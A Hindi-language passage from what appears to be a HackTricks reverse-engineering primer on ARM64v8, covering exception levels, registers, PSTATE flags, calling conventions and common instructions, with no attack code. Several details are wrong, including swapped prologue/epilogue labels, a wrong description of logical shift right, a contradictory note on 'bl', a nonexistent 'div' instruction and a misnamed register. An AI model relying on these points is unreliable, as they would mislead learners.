ARM64v8 का परिचय
Reading time: 41 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
अपवाद स्तर - EL (ARM64v8)
ARMv8 आर्किटेक्चर में, निष्पादन स्तर, जिसे अपवाद स्तर (ELs) के रूप में जाना जाता है, निष्पादन वातावरण के विशेषाधिकार स्तर और क्षमताओं को परिभाषित करता है। चार अपवाद स्तर हैं, जो EL0 से EL3 तक फैले हुए हैं, प्रत्येक का एक अलग उद्देश्य है:
- EL0 - उपयोगकर्ता मोड:
- यह सबसे कम विशेषाधिकार स्तर है और नियमित एप्लिकेशन कोड निष्पादित करने के लिए उपयोग किया जाता है।
- EL0 पर चलने वाले एप्लिकेशन एक-दूसरे और सिस्टम सॉफ़्टवेयर से अलग होते हैं, जिससे सुरक्षा और स्थिरता बढ़ती है।
- EL1 - ऑपरेटिंग सिस्टम कर्नेल मोड:
- अधिकांश ऑपरेटिंग सिस्टम कर्नेल इस स्तर पर चलते हैं।
- EL1 के पास EL0 की तुलना में अधिक विशेषाधिकार होते हैं और यह सिस्टम संसाधनों तक पहुँच सकता है, लेकिन सिस्टम की अखंडता सुनिश्चित करने के लिए कुछ प्रतिबंधों के साथ।
- EL2 - हाइपरवाइजर मोड:
- यह स्तर वर्चुअलाइजेशन के लिए उपयोग किया जाता है। EL2 पर चलने वाला एक हाइपरवाइजर एक ही भौतिक हार्डवेयर पर कई ऑपरेटिंग सिस्टम (प्रत्येक अपने EL1 में) का प्रबंधन कर सकता है।
- EL2 वर्चुअलाइज्ड वातावरण के लिए अलगाव और नियंत्रण की सुविधाएँ प्रदान करता है।
- EL3 - सुरक्षित मॉनिटर मोड:
- यह सबसे अधिक विशेषाधिकार स्तर है और अक्सर सुरक्षित बूटिंग और विश्वसनीय निष्पादन वातावरण के लिए उपयोग किया जाता है।
- EL3 सुरक्षित और गैर-सुरक्षित राज्यों (जैसे सुरक्षित बूट, विश्वसनीय OS, आदि) के बीच पहुँच को प्रबंधित और नियंत्रित कर सकता है।
इन स्तरों का उपयोग विभिन्न सिस्टम पहलुओं को प्रबंधित करने के लिए एक संरचित और सुरक्षित तरीके की अनुमति देता है, उपयोगकर्ता एप्लिकेशन से लेकर सबसे विशेषाधिकार प्राप्त सिस्टम सॉफ़्टवेयर तक। ARMv8 का विशेषाधिकार स्तरों के प्रति दृष्टिकोण विभिन्न सिस्टम घटकों को प्रभावी ढंग से अलग करने में मदद करता है, जिससे सिस्टम की सुरक्षा और मजबूती बढ़ती है।
रजिस्टर (ARM64v8)
ARM64 में 31 सामान्य-उद्देश्य रजिस्टर होते हैं, जिन्हें x0
से x30
तक लेबल किया गया है। प्रत्येक 64-बिट (8-बाइट) मान संग्रहीत कर सकता है। जिन ऑपरेशनों के लिए केवल 32-बिट मान की आवश्यकता होती है, उन रजिस्टरों को 32-बिट मोड में w0 से w30 के नामों का उपयोग करके एक्सेस किया जा सकता है।
x0
सेx7
- ये आमतौर पर स्क्रैच रजिस्टर के रूप में और उप-प्रक्रियाओं को पैरामीटर पास करने के लिए उपयोग किए जाते हैं।
x0
एक फ़ंक्शन का लौटने वाला डेटा भी ले जाता है।
x8
- लिनक्स कर्नेल में,x8
svc
निर्देश के लिए सिस्टम कॉल नंबर के रूप में उपयोग किया जाता है। macOS में x16 का उपयोग किया जाता है!x9
सेx15
- अधिक अस्थायी रजिस्टर, अक्सर स्थानीय चर के लिए उपयोग किए जाते हैं।x16
औरx17
- इंट्रा-प्रोसीजर कॉल रजिस्टर। तात्कालिक मानों के लिए अस्थायी रजिस्टर। इन्हें अप्रत्यक्ष फ़ंक्शन कॉल और PLT (प्रक्रिया लिंक टेबल) स्टब के लिए भी उपयोग किया जाता है।
x16
svc
निर्देश के लिए सिस्टम कॉल नंबर के रूप में macOS में उपयोग किया जाता है।
x18
- प्लेटफ़ॉर्म रजिस्टर। इसे सामान्य-उद्देश्य रजिस्टर के रूप में उपयोग किया जा सकता है, लेकिन कुछ प्लेटफार्मों पर, यह रजिस्टर प्लेटफॉर्म-विशिष्ट उपयोगों के लिए आरक्षित है: विंडोज़ में वर्तमान थ्रेड वातावरण ब्लॉक के लिए पॉइंटर, या वर्तमान निष्पादित कार्य संरचना को इंगित करने के लिए लिनक्स कर्नेल में।x19
सेx28
- ये कॉल-सेव किए गए रजिस्टर हैं। एक फ़ंक्शन को अपने कॉलर के लिए इन रजिस्टरों के मानों को संरक्षित करना चाहिए, इसलिए इन्हें स्टैक में संग्रहीत किया जाता है और कॉलर पर वापस जाने से पहले पुनर्प्राप्त किया जाता है।x29
- फ्रेम पॉइंटर स्टैक फ्रेम को ट्रैक करने के लिए। जब एक नया स्टैक फ्रेम बनाया जाता है क्योंकि एक फ़ंक्शन को कॉल किया जाता है, तोx29
रजिस्टर स्टैक में संग्रहीत किया जाता है और नया फ्रेम पॉइंटर पता (sp
पता) इस रजिस्ट्रि में संग्रहीत किया जाता है।
- इस रजिस्टर का उपयोग एक सामान्य-उद्देश्य रजिस्टर के रूप में भी किया जा सकता है, हालांकि इसे आमतौर पर स्थानीय चर के संदर्भ के रूप में उपयोग किया जाता है।
x30
याlr
- लिंक रजिस्टर। यह एकBL
(ब्रांच विद लिंक) याBLR
(ब्रांच विद लिंक टू रजिस्टर) निर्देश के निष्पादन के समय रिटर्न पता को रखता है,pc
मान को इस रजिस्टर में संग्रहीत करके।
- इसका उपयोग किसी अन्य रजिस्टर की तरह भी किया जा सकता है।
- यदि वर्तमान फ़ंक्शन एक नए फ़ंक्शन को कॉल करने जा रहा है और इसलिए
lr
को ओवरराइट करेगा, तो यह इसे स्टैक में शुरुआत में संग्रहीत करेगा, यह उपसंहार है (stp x29, x30 , [sp, #-48]; mov x29, sp
->fp
औरlr
को स्टोर करें, स्थान उत्पन्न करें और नयाfp
प्राप्त करें) और अंत में इसे पुनर्प्राप्त करें, यह प्रस्तावना है (ldp x29, x30, [sp], #48; ret
->fp
औरlr
को पुनर्प्राप्त करें और लौटें)।
sp
- स्टैक पॉइंटर, जिसका उपयोग स्टैक के शीर्ष को ट्रैक करने के लिए किया जाता है।
sp
मान को हमेशा कम से कम एक क्वाडवर्ड संरेखण पर रखा जाना चाहिए, अन्यथा एक संरेखण अपवाद हो सकता है।
pc
- प्रोग्राम काउंटर, जो अगले निर्देश की ओर इशारा करता है। इस रजिस्टर को केवल अपवाद उत्पन्न करने, अपवाद लौटने और शाखाओं के माध्यम से अपडेट किया जा सकता है। केवल सामान्य निर्देश जो इस रजिस्टर को पढ़ सकते हैं वे लिंक के साथ शाखा निर्देश (BL, BLR) हैं जोpc
पता कोlr
(लिंक रजिस्टर) में संग्रहीत करते हैं।xzr
- ज़ीरो रजिस्टर। इसे इसके 32-बिट रजिस्टर रूप मेंwzr
भी कहा जाता है। इसका उपयोग आसानी से शून्य मान प्राप्त करने (सामान्य ऑपरेशन) याsubs
का उपयोग करके तुलना करने के लिए किया जा सकता है जैसेsubs XZR, Xn, #10
परिणामस्वरूप डेटा को कहीं भी संग्रहीत किए बिना (xzr
में)।
Wn
रजिस्टर Xn
रजिस्टर का 32-बिट संस्करण हैं।
SIMD और फ्लोटिंग-पॉइंट रजिस्टर
इसके अलावा, 128-बिट लंबाई के 32 रजिस्टर हैं जिन्हें अनुकूलित सिंगल इंस्ट्रक्शन मल्टीपल डेटा (SIMD) ऑपरेशनों में और फ्लोटिंग-पॉइंट अंकगणित करने के लिए उपयोग किया जा सकता है। इन्हें Vn रजिस्टर कहा जाता है, हालांकि वे 64-बिट, 32-बिट, 16-बिट और 8-बिट में भी कार्य कर सकते हैं और तब इन्हें Qn
, Dn
, Sn
, Hn
और Bn
कहा जाता है।
सिस्टम रजिस्टर
सैकड़ों सिस्टम रजिस्टर हैं, जिन्हें विशेष-उद्देश्य रजिस्टर (SPRs) भी कहा जाता है, जो प्रोसेसर के व्यवहार की निगरानी और नियंत्रण के लिए उपयोग किए जाते हैं।
इन्हें केवल समर्पित विशेष निर्देश mrs
और msr
का उपयोग करके पढ़ा या सेट किया जा सकता है।
विशेष रजिस्टर TPIDR_EL0
और TPIDDR_EL0
आमतौर पर रिवर्स इंजीनियरिंग करते समय पाए जाते हैं। EL0
उपसर्ग उस न्यूनतम अपवाद को इंगित करता है जिससे रजिस्टर को एक्सेस किया जा सकता है (इस मामले में EL0 नियमित अपवाद (विशेषाधिकार) स्तर है जिस पर नियमित प्रोग्राम चलते हैं)।
इनका उपयोग आमतौर पर थ्रेड-स्थानीय भंडारण मेमोरी क्षेत्र के बेस पते को संग्रहीत करने के लिए किया जाता है। आमतौर पर पहला पढ़ने और लिखने के लिए EL0 में चलने वाले प्रोग्राम के लिए पढ़ने योग्य और लिखने योग्य होता है, लेकिन दूसरा EL0 से पढ़ा जा सकता है और EL1 से लिखा जा सकता है (जैसे कर्नेल)।
mrs x0, TPIDR_EL0 ; TPIDR_EL0 को x0 में पढ़ें
msr TPIDR_EL0, X0 ; x0 को TPIDR_EL0 में लिखें
PSTATE
PSTATE में कई प्रक्रिया घटक होते हैं जो ऑपरेटिंग-सिस्टम-दृश्यमान SPSR_ELx
विशेष रजिस्टर में अनुक्रमित होते हैं, X वह अनुमति स्तर है जिस पर अपवाद उत्पन्न होता है (यह अपवाद समाप्त होने पर प्रक्रिया की स्थिति को पुनर्प्राप्त करने की अनुमति देता है)।
ये सुलभ क्षेत्र हैं:
.png)
N
,Z
,C
औरV
स्थिति ध्वज:N
का अर्थ है कि ऑपरेशन ने नकारात्मक परिणाम दियाZ
का अर्थ है कि ऑपरेशन ने शून्य दियाC
का अर्थ है कि ऑपरेशन ने कैरी कियाV
का अर्थ है कि ऑपरेशन ने साइन ओवरफ्लो दिया:- दो सकारात्मक संख्याओं का योग नकारात्मक परिणाम देता है।
- दो नकारात्मक संख्याओं का योग सकारात्मक परिणाम देता है।
- घटाव में, जब एक बड़ा नकारात्मक संख्या एक छोटे सकारात्मक संख्या (या इसके विपरीत) से घटाया जाता है, और परिणाम को दिए गए बिट आकार की सीमा के भीतर प्रदर्शित नहीं किया जा सकता है।
- स्पष्ट रूप से प्रोसेसर नहीं जानता कि ऑपरेशन साइन किया गया है या नहीं, इसलिए यह ऑपरेशनों में C और V की जांच करेगा और संकेत देगा कि यदि यह साइन किया गया था या असाइन किया गया था तो कैरी हुआ।
warning
सभी निर्देश इन ध्वजों को अपडेट नहीं करते हैं। कुछ जैसे CMP
या TST
करते हैं, और अन्य जिनके पास s उपसर्ग होता है जैसे ADDS
भी ऐसा करते हैं।
- वर्तमान रजिस्टर चौड़ाई (
nRW
) ध्वज: यदि ध्वज का मान 0 है, तो प्रोग्राम फिर से शुरू होने पर AArch64 निष्पादन स्थिति में चलेगा। - वर्तमान अपवाद स्तर (
EL
): EL0 में चलने वाला एक नियमित प्रोग्राम का मान 0 होगा। - सिंगल स्टेपिंग ध्वज (
SS
): डिबगर्स द्वारा एक सिंगल स्टेप सेट करने के लिए उपयोग किया जाता है,SPSR_ELx
के भीतर SS ध्वज को 1 पर सेट करके एक अपवाद के माध्यम से। प्रोग्राम एक कदम चलेगा और एक सिंगल स्टेप अपवाद जारी करेगा। - अवैध अपवाद स्थिति ध्वज (
IL
): इसका उपयोग तब किया जाता है जब एक विशेषाधिकार प्राप्त सॉफ़्टवेयर एक अवैध अपवाद स्तर स्थानांतरण करता है, यह ध्वज 1 पर सेट किया जाता है और प्रोसेसर एक अवैध स्थिति अपवाद उत्पन्न करता है। DAIF
ध्वज: ये ध्वज एक विशेषाधिकार प्राप्त प्रोग्राम को कुछ बाहरी अपवादों को चयनात्मक रूप से मास्क करने की अनुमति देते हैं।- यदि
A
1 है, तो इसका अर्थ है कि असिंक्रोनस एबॉर्ट्स उत्पन्न होंगे।I
बाहरी हार्डवेयर इंटरप्ट रिक्वेस्ट (IRQs) का उत्तर देने के लिए कॉन्फ़िगर करता है। और F फास्ट इंटरप्ट रिक्वेस्ट (FIRs) से संबंधित है। - स्टैक पॉइंटर चयन ध्वज (
SPS
): EL1 और उससे ऊपर चलने वाले विशेषाधिकार प्राप्त प्रोग्राम अपने स्वयं के स्टैक पॉइंटर रजिस्टर और उपयोगकर्ता-मॉडल वाले के बीच स्विच कर सकते हैं (जैसेSP_EL1
औरEL0
के बीच)। यह स्विचिंगSPSel
विशेष रजिस्टर में लिखकर की जाती है। इसे EL0 से नहीं किया जा सकता है।
कॉलिंग कन्वेंशन (ARM64v8)
ARM64 कॉलिंग कन्वेंशन निर्दिष्ट करता है कि एक फ़ंक्शन के लिए पहले आठ पैरामीटर रजिस्टर x0
से x7
में पास किए जाते हैं। अतिरिक्त पैरामीटर स्टैक पर पास किए जाते हैं। रिटर्न मान रजिस्टर x0
में वापस पास किया जाता है, या x1
में भी यदि यह 128 बिट लंबा है। x19
से x30
और sp
रजिस्टर को फ़ंक्शन कॉल के बीच संरक्षित किया जाना चाहिए।
जब असेंबली में एक फ़ंक्शन को पढ़ते हैं, तो फ़ंक्शन प्रस्तावना और उपसंहार की तलाश करें। प्रस्तावना आमतौर पर फ्रेम पॉइंटर (x29
) को सहेजने, नए फ्रेम पॉइंटर को सेट करने और स्टैक स्पेस आवंटित करने में शामिल होती है। उपसंहार आमतौर पर सहेजे गए फ्रेम पॉइंटर को पुनर्स्थापित करने और फ़ंक्शन से लौटने में शामिल होता है।
स्विफ्ट में कॉलिंग कन्वेंशन
स्विफ्ट में अपनी कॉलिंग कन्वेंशन है जिसे https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64 में पाया जा सकता है।
सामान्य निर्देश (ARM64v8)
ARM64 निर्देश आमतौर पर फॉर्मेट opcode dst, src1, src2
में होते हैं, जहाँ opcode
वह ऑपरेशन है जिसे किया जाना है (जैसे add
, sub
, mov
, आदि), dst
वह गंतव्य रजिस्टर है जहाँ परिणाम संग्रहीत किया जाएगा, और src1
और src2
वह स्रोत रजिस्टर हैं। तात्कालिक मानों का भी स्रोत रजिस्टर के स्थान पर उपयोग किया जा सकता है।
-
mov
: एक रजिस्टर से दूसरे में मान स्थानांतरित करें। -
उदाहरण:
mov x0, x1
— यह मान कोx1
सेx0
में स्थानांतरित करता है। -
ldr
: मेमोरी से एक मान को रजिस्टर में लोड करें। -
उदाहरण:
ldr x0, [x1]
— यहx1
द्वारा इंगित मेमोरी स्थान से एक मान कोx0
में लोड करता है। -
ऑफसेट मोड: एक ऑफसेट जो ओरिजिन पॉइंटर को प्रभावित करता है, उदाहरण के लिए:
-
ldr x2, [x1, #8]
, यह x2 में x1 + 8 से मान लोड करेगा। -
ldr x2, [x0, x1, lsl #2]
, यह x2 में x0 के ऐरे से एक वस्तु लोड करेगा, स्थिति x1 (सूचकांक) * 4 से। -
पूर्व-सूचीबद्ध मोड: यह ओरिजिन पर गणनाएँ लागू करेगा, परिणाम प्राप्त करेगा और नए ओरिजिन को भी ओरिजिन में संग्रहीत करेगा।
-
ldr x2, [x1, #8]!
, यहx1 + 8
कोx2
में लोड करेगा औरx1
मेंx1 + 8
का परिणाम संग्रहीत करेगा। -
str lr, [sp, #-4]!
, लिंक रजिस्टर को sp में संग्रहीत करें और रजिस्टर sp को अपडेट करें। -
पोस्ट-सूचीबद्ध मोड: यह पिछले वाले की तरह है लेकिन मेमोरी पते को एक्सेस किया जाता है और फिर ऑफसेट की गणना की जाती है और संग्रहीत की जाती है।
-
ldr x0, [x1], #8
,x1
कोx0
में लोड करें औरx1
कोx1 + 8
के साथ अपडेट करें। -
PC-सापेक्ष पता लगाना: इस मामले में लोड करने के लिए पता PC रजिस्टर के सापेक्ष गणना की जाती है।
-
ldr x1, =_start
, यह_start
प्रतीक के प्रारंभ होने का पता x1 में लोड करेगा जो वर्तमान PC से संबंधित है। -
str
: एक रजिस्टर से मेमोरी में मान स्टोर करें। -
उदाहरण:
str x0, [x1]
— यहx0
में मान कोx1
द्वारा इंगित मेमोरी स्थान में संग्रहीत करता है। -
ldp
: रजिस्टर की जोड़ी लोड करें। यह निर्देश दो रजिस्टर को लगातार मेमोरी स्थानों से लोड करता है। मेमोरी पता आमतौर पर किसी अन्य रजिस्टर में मान के साथ एक ऑफसेट जोड़कर बनाया जाता है। -
उदाहरण:
ldp x0, x1, [x2]
— यहx0
औरx1
कोx2
औरx2 + 8
पर मेमोरी स्थानों से लोड करता है। -
stp
: रजिस्टर की जोड़ी स्टोर करें। यह निर्देश दो रजिस्टर को लगातार मेमोरी स्थानों में संग्रहीत करता है। मेमोरी पता आमतौर पर किसी अन्य रजिस्टर में मान के साथ एक ऑफसेट जोड़कर बनाया जाता है। -
उदाहरण:
stp x0, x1, [sp]
— यहx0
औरx1
कोsp
औरsp + 8
पर मेमोरी स्थानों में संग्रहीत करता है। -
stp x0, x1, [sp, #16]!
— यहx0
औरx1
कोsp+16
औरsp + 24
पर मेमोरी स्थानों में संग्रहीत करता है, औरsp
कोsp+16
के साथ अपडेट करता है। -
add
: दो रजिस्टरों के मानों को जोड़ें और परिणाम को एक रजिस्टर में संग्रहीत करें। -
सिंटैक्स: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
-
Xn1 -> गंतव्य
-
Xn2 -> ऑपरेन्ड 1
-
Xn3 | #imm -> ऑपरेन्ड 2 (रजिस्टर या तात्कालिक)
-
[shift #N | RRX] -> एक शिफ्ट करें या RRX को कॉल करें
-
उदाहरण:
add x0, x1, x2
— यहx1
औरx2
में मानों को जोड़ता है और परिणाम कोx0
में संग्रहीत करता है। -
add x5, x5, #1, lsl #12
— यह 4096 के बराबर है (1 को 12 बार शिफ्ट करना) -> 1 0000 0000 0000 0000 -
adds
यह एकadd
करता है और ध्वज को अपडेट करता है। -
sub
: दो रजिस्टरों के मानों को घटाएं और परिणाम को एक रजिस्टर में संग्रहीत करें। -
add
सिंटैक्स की जांच करें। -
उदाहरण:
sub x0, x1, x2
— यहx2
के मान कोx1
से घटाता है और परिणाम कोx0
में संग्रहीत करता है। -
subs
यह घटाव की तरह है लेकिन ध्वज को अपडेट करता है। -
mul
: दो रजिस्टरों के मानों को गुणा करें और परिणाम को एक रजिस्टर में संग्रहीत करें। -
उदाहरण:
mul x0, x1, x2
— यहx1
औरx2
में मानों को गुणा करता है और परिणाम कोx0
में संग्रहीत करता है। -
div
: एक रजिस्टर के मान को दूसरे से विभाजित करें और परिणाम को एक रजिस्टर में संग्रहीत करें। -
उदाहरण:
div x0, x1, x2
— यहx1
के मान कोx2
से विभाजित करता है और परिणाम कोx0
में संग्रहीत करता है। -
lsl
,lsr
,asr
,ror
,rrx
: -
तर्कसंगत शिफ्ट बाएं: अंत से 0 जोड़ें और अन्य बिट्स को आगे बढ़ाएं (n-बार 2 से गुणा करें)
-
तर्कसंगत शिफ्ट दाएं: शुरुआत में 1 जोड़ें और अन्य बिट्स को पीछे की ओर बढ़ाएं (unsigned में n-बार 2 से विभाजित करें)
-
गणितीय शिफ्ट दाएं:
lsr
की तरह, लेकिन यदि सबसे महत्वपूर्ण बिट 1 है, तो 0 जोड़ने के बजाय, 1s जोड़े जाते हैं (signed में n-बार 2 से विभाजित करें) -
दाएं घुमाना:
lsr
की तरह लेकिन जो कुछ दाएं से हटा दिया गया है उसे बाएं जोड़ा जाता है। -
विस्तारित के साथ दाएं घुमाना:
ror
की तरह, लेकिन कैरी ध्वज को "सबसे महत्वपूर्ण बिट" के रूप में। इसलिए कैरी ध्वज को बिट 31 में स्थानांतरित किया जाता है और हटा दिया गया बिट कैरी ध्वज में होता है। -
bfm
: बिट फ़ील्ड मूव, ये ऑपरेशन0...n
से बिट्स को एक मान से कॉपी करते हैं और उन्हेंm..m+n
में रखते हैं।#s
सबसे बाएं बिट स्थिति को निर्दिष्ट करता है और#r
दाएं घुमाने की मात्रा को। -
बिटफ़ील्ड मूव:
BFM Xd, Xn, #r
-
साइन बिटफ़ील्ड मूव:
SBFM Xd, Xn, #r, #s
-
अनसाइन बिटफ़ील्ड मूव:
UBFM Xd, Xn, #r, #s
-
बिटफ़ील्ड निकालें और डालें: एक रजिस्टर से एक बिटफ़ील्ड को कॉपी करें और इसे दूसरे रजिस्टर में कॉपी करें।
-
BFI X1, X2, #3, #4
X1 के 3वें बिट से X2 के 4 बिट्स डालें। -
BFXIL X1, X2, #3, #4
X2 के 3वें बिट से चार बिट्स निकालें और उन्हें X1 में कॉपी करें। -
SBFIZ X1, X2, #3, #4
X2 से 4 बिट्स को साइन-एक्सटेंड करें और उन्हें X1 में डालें, बिट स्थिति 3 से दाएं बिट्स को शून्य करते हुए। -
SBFX X1, X2, #3, #4
X2 से बिट 3 से शुरू होने वाले 4 बिट्स को निकालता है, उन्हें साइन-एक्सटेंड करता है, और परिणाम को X1 में रखता है। -
UBFIZ X1, X2, #3, #4
X2 से 4 बिट्स को शून्य-एक्सटेंड करता है और उन्हें X1 में डालता है, बिट स्थिति 3 से दाएं बिट्स को शून्य करते हुए। -
UBFX X1, X2, #3, #4
X2 से बिट 3 से शुरू होने वाले 4 बिट्स को निकालता है और शून्य-एक्सटेंडेड परिणाम को X1 में रखता है। -
साइन एक्सटेंड टू X: एक मान के साइन को बढ़ाता है (या अनसाइन संस्करण में केवल 0 जोड़ता है) ताकि इसके साथ ऑपरेशन किया जा सके:
-
SXTB X1, W2
W2 से X1 तक एक बाइट के साइन को बढ़ाता है (W2
X2
का आधा है) ताकि 64-बिट भरे। -
SXTH X1, W2
W2 से X1 तक एक 16-बिट संख्या के साइन को बढ़ाता है ताकि 64-बिट भरे। -
SXTW X1, W2
W2 से X1 तक एक बाइट के साइन को बढ़ाता है ताकि 64-बिट भरे। -
UXTB X1, W2
W2 से X1 तक एक बाइट में 0 जोड़ता है (अनसाइन) ताकि 64-बिट भरे। -
extr
: निर्दिष्ट रजिस्टरों के जोड़े से बिट्स निकालता है। -
उदाहरण:
EXTR W3, W2, W1, #3
यह W1+W2 को जोड़ता है और W2 के बिट 3 से W1 के बिट 3 तक प्राप्त करता है और इसे W3 में संग्रहीत करता है। -
cmp
: दो रजिस्टरों की तुलना करें और स्थिति ध्वज सेट करें। यहsubs
का एक उपनाम है जो गंतव्य रजिस्टर को शून्य रजिस्टर पर सेट करता है। यह जानने के लिए उपयोगी है किm == n
। -
यह
subs
के समान सिंटैक्स का समर्थन करता है। -
उदाहरण:
cmp x0, x1
— यहx0
औरx1
में मानों की तुलना करता है और स्थिति ध्वज को तदनुसार सेट करता है। -
cmn
: नकारात्मक ऑपरेन्ड की तुलना करें। इस मामले में यहadds
का एक उपनाम है और समान सिंटैक्स का समर्थन करता है। यह जानने के लिए उपयोगी है किm == -n
। -
ccmp
: शर्तीय तुलना, यह एक तुलना है जो केवल तभी की जाएगी जब एक पूर्ववर्ती तुलना सत्य हो और विशेष रूप से nzcv बिट्स को सेट करेगी। -
cmp x1, x2; ccmp x3, x4, 0, NE; blt _func
-> यदि x1 != x2 और x3 < x4, तो func पर कूदें। -
इसका कारण यह है कि
ccmp
केवल तब निष्पादित होगा जब पिछलीcmp
एकNE
थी, यदि यह नहीं थी तो बिट्सnzcv
को 0 पर सेट कर देंगे (जोblt
तुलना को संतुष्ट नहीं करेगा)। -
इसे
ccmn
के रूप में भी उपयोग किया जा सकता है (समान लेकिन नकारात्मक, जैसेcmp
बनामcmn
)। -
tst
: यह जांचता है कि क्या तुलना के मान दोनों 1 हैं (यह किसी भी परिणाम को कहीं भी संग्रहीत किए बिना ANDS की तरह काम करता है)। यह एक रजिस्टर के मान के साथ जांचने के लिए उपयोगी है और यह जांचता है कि क्या रजिस्टर में निर्दिष्ट मान के बिट्स में से कोई 1 है। -
उदाहरण:
tst X1, #7
X1 के अंतिम 3 बिट्स में से कोई 1 है या नहीं, इसकी जांच करें। -
teq
: XOR ऑपरेशन परिणाम को छोड़कर। -
b
: बिना शर्त शाखा। -
उदाहरण:
b myFunction
-
ध्यान दें कि यह लिंक रजिस्टर को लौटने के पते से नहीं भरेगा (उपप्रक्रिया कॉल के लिए उपयुक्त नहीं है जिसे वापस लौटने की आवश्यकता है)।
-
bl
: लिंक के साथ शाखा, जिसका उपयोग एक उपप्रक्रिया को कॉल करने के लिए किया जाता है। रिटर्न पताx30
में संग्रहीत होता है। -
उदाहरण:
bl myFunction
— यह फ़ंक्शनmyFunction
को कॉल करता है और रिटर्न पताx30
में संग्रहीत करता है। -
ध्यान दें कि यह लिंक रजिस्टर को लौटने के पते से नहीं भरेगा (उपप्रक्रिया कॉल के लिए उपयुक्त नहीं है जिसे वापस लौटने की आवश्यकता है)।
-
blr
: लिंक के साथ शाखा रजिस्टर के लिए, जिसका उपयोग एक उपप्रक्रिया को कॉल करने के लिए किया जाता है जहाँ लक्ष्य एक रजिस्टर में निर्दिष्ट होता है। रिटर्न पताx30
में संग्रहीत होता है। (यह है -
उदाहरण:
blr x1
— यह उस फ़ंक्शन को कॉल करता है जिसका पताx1
में है और रिटर्न पताx30
में संग्रहीत होता है। -
ret
: उपप्रक्रिया से लौटें, आमतौर परx30
में पते का उपयोग करते हुए। -
उदाहरण:
ret
— यह वर्तमान उपप्रक्रिया से लौटता है जोx30
में लौटने के पते का उपयोग करता है। -
b.<cond>
: शर्तीय शाखाएँ। -
b.eq
: बराबर होने पर शाखा, पिछलेcmp
निर्देश के आधार पर। -
उदाहरण:
b.eq label
— यदि पिछलेcmp
निर्देश ने दो समान मान पाए, तो यहlabel
पर कूदता है। -
b.ne
: बराबर नहीं होने पर शाखा। यह निर्देश स्थिति ध्वजों की जांच करता है (जो पिछले तुलना निर्देश द्वारा सेट किए गए थे), और यदि तुलना किए गए मान समान नहीं थे, तो यह एक लेबल या पते पर शाखा करता है। -
उदाहरण:
cmp x0, x1
निर्देश के बाद,b.ne label
— यदिx0
औरx1
में मान समान नहीं थे, तो यहlabel
पर कूदता है। -
cbz
: शून्य पर तुलना करें और शाखा करें। यह निर्देश एक रजिस्टर की तुलना शून्य से करता है, और यदि वे समान हैं, तो यह एक लेबल या पते पर शाखा करता है। -
उदाहरण:
cbz x0, label
— यदिx0
में मान शून्य है, तो यहlabel
पर कूदता है। -
cbnz
: गैर-शून्य पर तुलना करें और शाखा करें। यह निर्देश एक रजिस्टर की तुलना शून्य से करता है, और यदि वे समान नहीं हैं, तो यह एक लेबल या पते पर शाखा करता है। -
उदाहरण:
cbnz x0, label
— यदिx0
में मान गैर-शून्य है, तो यहlabel
पर कूदता है। -
tbnz
: बिट का परीक्षण करें और गैर-शून्य पर शाखा करें। -
उदाहरण:
tbnz x0, #8, label
-
tbz
: बिट का परीक्षण करें और शून्य पर शाखा करें। -
उदाहरण:
tbz x0, #8, label
-
शर्तीय चयन ऑपरेशन: ये ऑपरेशन हैं जिनका व्यवहार शर्तीय बिट्स के आधार पर भिन्न होता है।
-
csel Xd, Xn, Xm, cond
->csel X0, X1, X2, EQ
-> यदि सत्य है, तो X0 = X1, यदि गलत है, तो X0 = X2 -
csinc Xd, Xn, Xm, cond
-> यदि सत्य है, तो Xd = Xn, यदि गलत है, तो Xd = Xm + 1 -
cinc Xd, Xn, cond
-> यदि सत्य है, तो Xd = Xn + 1, यदि गलत है, तो Xd = Xn -
csinv Xd, Xn, Xm, cond
-> यदि सत्य है, तो Xd = Xn, यदि गलत है, तो Xd = NOT(Xm) -
cinv Xd, Xn, cond
-> यदि सत्य है, तो Xd = NOT(Xn), यदि गलत है, तो Xd = Xn -
csneg Xd, Xn, Xm, cond
-> यदि सत्य है, तो Xd = Xn, यदि गलत है, तो Xd = - Xm -
cneg Xd, Xn, cond
-> यदि सत्य है, तो Xd = - Xn, यदि गलत है, तो Xd = Xn -
cset Xd, Xn, Xm, cond
-> यदि सत्य है, तो Xd = 1, यदि गलत है, तो Xd = 0 -
csetm Xd, Xn, Xm, cond
-> यदि सत्य है, तो Xd = <सभी 1>, यदि गलत है, तो Xd = 0 -
adrp
: एक प्रतीक का पृष्ठ पता गणना करें और इसे एक रजिस्टर में संग्रहीत करें। -
उदाहरण:
adrp x0, symbol
— यहsymbol
का पृष्ठ पता गणना करता है और इसेx0
में संग्रहीत करता है। -
ldrsw
: मेमोरी से एक साइन 32-बिट मान लोड करें और इसे 64 बिट्स में साइन-एक्सटेंड करें। -
उदाहरण:
ldrsw x0, [x1]
— यहx1
द्वारा इंगित मेमोरी स्थान से एक साइन 32-बिट मान लोड करता है, इसे 64 बिट्स में साइन-एक्सटेंड करता है, और इसेx0
में संग्रहीत करता है। -
stur
: एक रजिस्टर मान को एक मेमोरी स्थान में संग्रहीत करें, एक अन्य रजिस्टर से ऑफसेट का उपयोग करते हुए। -
उदाहरण:
stur x0, [x1, #4]
— यहx0
में मान को उस मेमोरी पते में संग्रहीत करता है जोx1
में वर्तमान पते से 4 बाइट अधिक है। -
svc
: एक सिस्टम कॉल करें। इसका अर्थ "सुपरवाइज़र कॉल" है। जब प्रोसेसर इस निर्देश को निष्पादित करता है, तो यह उपयोगकर्ता मोड से कर्नेल मोड में स्विच करता है और मेमोरी में एक विशिष्ट स्थान पर कूदता है जहाँ कर्नेल का सिस्टम कॉल हैंडलिंग कोड स्थित है। -
उदाहरण:
mov x8, 93 ; रजिस्टर x8 में निकासी के लिए सिस्टम कॉल नंबर (93) लोड करें।
mov x0, 0 ; रजिस्टर x0 में निकासी स्थिति कोड (0) लोड करें।
svc 0 ; सिस्टम कॉल करें।
फ़ंक्शन प्रस्तावना
